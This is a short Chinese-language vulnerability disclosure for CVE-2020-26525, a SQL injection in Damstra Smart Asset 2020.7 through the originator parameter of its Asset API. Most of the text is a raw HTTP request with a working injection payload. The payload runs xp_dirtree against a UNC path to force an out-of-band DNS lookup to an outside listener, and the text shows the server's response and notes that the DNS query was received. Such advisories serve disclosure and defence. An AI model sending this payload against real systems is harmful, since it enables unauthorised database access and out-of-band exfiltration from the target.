Damstra Smart Asset 2020.7 存在 SQL 注入漏洞,可通过 API/api/Asset 的 originator 参数触发。
Smart Asset - 版本 2020.7
CVE-2020-26525
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HTTP 请求:
GET /API/api/Asset?assetCode=XXX-08-X-01-06-01& originator=FIRSTNAME.LASTNAME'%3bdeclare%20@q%20varchar(99)%3bset%20@q%3d'%5c%5c<>%5cqoe'%3b%20exec%20master.dbo.xp_dirtree%20@q%3b--%20 HTTP/1.1 Authorization: Bearer eyJhbGc ... Cookie: _ga=GA1.3.1950130407.1600387365; _gid=GA1.3.1208628208.1600387365; ajs_group_id=null; intercom-id-zk1ecu97=47f0bf3f-35aa-4f97-9239-456XXa65; intercom-session-zkXX97=
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HTTP 响应:
HTTP/1.1 401 Unauthorized Cache-Control: no-cache Pragma: no-cache Content-Type: application/json; charset=utf-8 <>
"Originator provided does not match originator stored within token!"
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远程监听服务器收到了目标地址 target.url.com 对域名 <> 的 A 记录 DNS 查询。
[发现者] Lukasz Studniarz